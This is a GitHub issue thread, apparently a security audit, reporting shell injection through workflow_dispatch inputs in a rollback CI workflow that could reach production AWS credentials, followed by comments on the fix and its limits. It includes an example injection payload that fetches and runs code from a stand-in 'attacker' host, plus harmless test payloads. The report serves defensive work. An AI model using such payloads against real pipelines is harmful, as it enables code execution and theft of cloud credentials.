sec(ci): rollback.yml interpolates the free-text reason input into run blocks in a job holding id-token write

[cristim]

Reviewed commit: be11bdcb5. Note: origin/main moved to 3e9660d06 during the review; re-verify against current main before changing code, since a finding may have moved.

Severity: CRITICAL. Shell injection reaching production cloud credentials while bypassing the GitHub Environment approval gate.

Where

.github/workflows/rollback.yml

• :35-38 (reason, type: string, free-form workflow_dispatch input)
• interpolated raw at :108, :109, :405, :407
• worst: :444, inside an unquoted heredoc (cat <<EOF > rollback-record.json, :438-449)
• permissions: id-token: write declared at :14-16
• validate job at :45 and summary job at :381 have no environment: binding
• the four rollback-* jobs at :204, :259, :301, :343 do have one
• AWS trust policy: terraform/environments/aws/ci-cd-permissions/role.tf:28-33

What

${{ inputs.reason }} is substituted into the shell source before bash parses it. reason set to "; curl -s https://attacker/x | sh; # is arbitrary code execution. The unquoted heredoc at :438 additionally executes $(...) inside the JSON body.

Separately, inputs.image_tag's regex guard at :68 is itself post-interpolation, so it validates nothing.

Failure scenario

The environment approval gate exists and is bypassed by the job that runs first.

The validate and summary jobs carry no environment: binding, unlike the four rollback-* jobs. The AWS deploy role's trust policy allows repo:<org/repo>:ref:refs/heads/main independently of the environment:{dev,staging,prod} subjects.

So a user with plain write access who dispatches rollback.yml from main with a malicious reason gets remote code execution in an unbound job that can mint an OIDC token and assume cudly-terraform-deploy, the full prod deploy role, without ever passing the GitHub Environment reviewer gate that protects the rollback-* jobs.

The approval control is architecturally bypassed rather than merely weak.

Fix direction

• Move every inputs.* into env: and reference "$REASON" (quoted) in the script body.
• Quote the heredoc delimiter (<<'EOF') and build the JSON with jq -n --arg.
• Bind every job to an environment, or drop id-token: write to job-level permissions: only on the jobs that need it.
• Remove repo:...:ref:refs/heads/main from the role trust policy so only environment:* subjects can assume it.

[cristim]

Reviewed commit: be11bdcb5. Note: origin/main moved to 3e9660d06 during the review; re-verify against current main before changing code, since a finding may have been fixed or moved.

Second interpolated input in the same job, with the same escalation path. Filing here rather than as a separate issue because the fix is the same one-file change to the same job, and splitting it would produce two PRs touching the same lines.

Where

• .github/workflows/rollback.yml:68 - if [[ ! "${{ inputs.image_tag }}" =~ ^[a-zA-Z0-9._-]+$ ]]
• .github/workflows/rollback.yml:95 - IS_VALID=false sets an output only
• .github/workflows/rollback.yml:80, :84, :87 - image_tag flows into needs.validate.outputs.image_uri
• .github/workflows/rollback.yml:236, :291, :333, :378 - that value flows back into run: blocks

What

The image_tag guard is supposed to constrain the input, but the value is substituted into the script text before bash evaluates the [[ ]]. An image_tag containing "; <payload>; : closes the test and runs the payload, so the validation it exists to enforce never executes. The guard is self-defeating for exactly the input it guards.

Second, independent defect on the same lines: IS_VALID=false only sets a step output (:95); the validate job does not exit 1. So validate reports success either way and the entire gate lives in downstream if: conditions on the rollback-* jobs.

Failure scenario

Identical escalation surface to the reason finding this issue already covers: code execution in the validate job, which has no environment: binding, running on refs/heads/main, which the AWS deploy role's trust policy accepts (terraform/environments/aws/ci-cd-permissions/role.tf:28-33) independently of the environment:* subjects. A user with plain write access dispatching rollback.yml from main gets RCE in a job that can mint an OIDC token and assume cudly-terraform-deploy, without passing the GitHub Environment reviewer gate that protects the rollback-* jobs.

Correction to an assumption recorded elsewhere

#1330 (ci: harden remaining staging cleanup + rollback hardening) says of the verify-image step's unquoted $REPO / $IMAGE_TAG:

both are shell-safe today thanks to the ^[a-zA-Z0-9._-]+$ regex on inputs.image_tag

That premise does not hold, for the reason above: the regex cannot constrain a value that has already been substituted into the script source. The verify-image quoting in #1330 should be treated as a real fix, not defence-in-depth. A note to that effect is being added to #1330.

Fix direction

Fold into the same change as the reason fix:

env:
  IMAGE_TAG: ${{ inputs.image_tag }}
run: |
  if [[ ! "$IMAGE_TAG" =~ ^[a-zA-Z0-9._-]+$ ]]; then
    echo "::error::invalid image_tag"
    exit 1
  fi

Note the exit 1: the job must fail on invalid input rather than emitting IS_VALID=false and relying on downstream if: conditions.

[cristim]

Correction to what PR #1641 claims, before this closes.

This issue described two controls. PR #1641 restores one of them. Stating that precisely because an earlier version of the PR body over-claimed:

Control 1 — eliminate the injection: DONE. Zero ${{ }} expressions remain in any run: block (11 before). Verified two ways: by parsing the YAML, and by executing the real run-blocks against hostile payloads (image_tag='$(touch PWNED)' rejected with no marker file; reason containing $(...), backticks and newlines rendered as literal text; a forged-JSON attempt against the jq -n --arg audit record produced 9 keys with .result still failure). actionlint with shellcheck: pre-change exit 1, post-change exit 0.

Control 2 — restore the approval gate: NOT restored, because it never existed.

This issue says "The approval control is architecturally bypassed rather than merely weak." That is right about the architecture and, it turns out, understated about the control. Querying the live API:

$ gh api repos/LeanerCloud/CUDly/environments
total_count: 5
aws-fargate-dev: protection_rules=[] | aws-fargate-staging: [] | azure-: [] | dev: [] | gcp-: []

No environment in this repo has any protection rules, and none of the four <cloud>-<env>-rollback environments exists. GitHub auto-creates a referenced environment bare on first use, so those jobs would have run with no approval regardless. The environments literally named azure- and gcp- are the fossil record of that auto-create path already firing, when an ${{ inputs.environment }} rendered empty.

So the gate was not bypassed by the ungated job — there was no gate to bypass. Filed as #1660 (provision the environments and their required reviewers in IaC, so they cannot be auto-created bare).

On closing this issue. PR #1641 says Closes LeanerCloud/cloud-commitments-cli#1542, and I think that is right, but flagging the judgement so it can be overruled:

• The defect this issue identifies — arbitrary code execution reaching production cloud credentials — is dead. Both halves of the described failure scenario are gone: no RCE, and no unbound job holding id-token: write.
• Fix-direction bullet 4 ("Remove repo:...:ref:refs/heads/main from the role trust policy") is not done, and deliberately so: deploy-gcp, cleanup-staging and destroy-fargate-dev currently hold id-token: write with no environment binding and would break. Tracked in sec(ci): destroy and rollback workflows have no environment binding, so no reviewer gate applies #1591 and sec(ci): sibling deploy and sanity workflows grant id-token write to ungated jobs cloud-commitments-platform#140.
• The gate provisioning is sec(ci): deployment environments have no protection rules, so environment-bound credentialed jobs run unapproved cloud-commitments-platform#141.

If the preference is that this issue stays open until the trust-policy subject is removed and the environments carry reviewers, say so and I will switch the PR to Refs LeanerCloud/cloud-commitments-cli#1542.

Other findings from the review of #1641, all filed rather than folded in: LeanerCloud/cloud-commitments-platform#139 (the rollback environments are absent from the AWS and Azure trust-policy sub allowlists, so that path cannot authenticate at all — pre-existing, the original had the same bindings), LeanerCloud/cloud-commitments-platform#142 (image verified against the assumed role's registry rather than AWS_ACCOUNT_ID's), LeanerCloud/cloud-commitments-platform#140 (sibling workflows share the ungated-credentialed shape), #1646 (no workflow linter — the systemic reason this class was invisible), #1649 (the same defect in deploy-aws-lambda.yml, fixed in PR #1657).

One accepted tradeoff: image existence is now checked inside each gated rollback job rather than in a standalone job, so a rollback to a nonexistent tag fails after the approval prompt rather than before it. Deliberate — the standalone job was the ungated-but-credentialed one.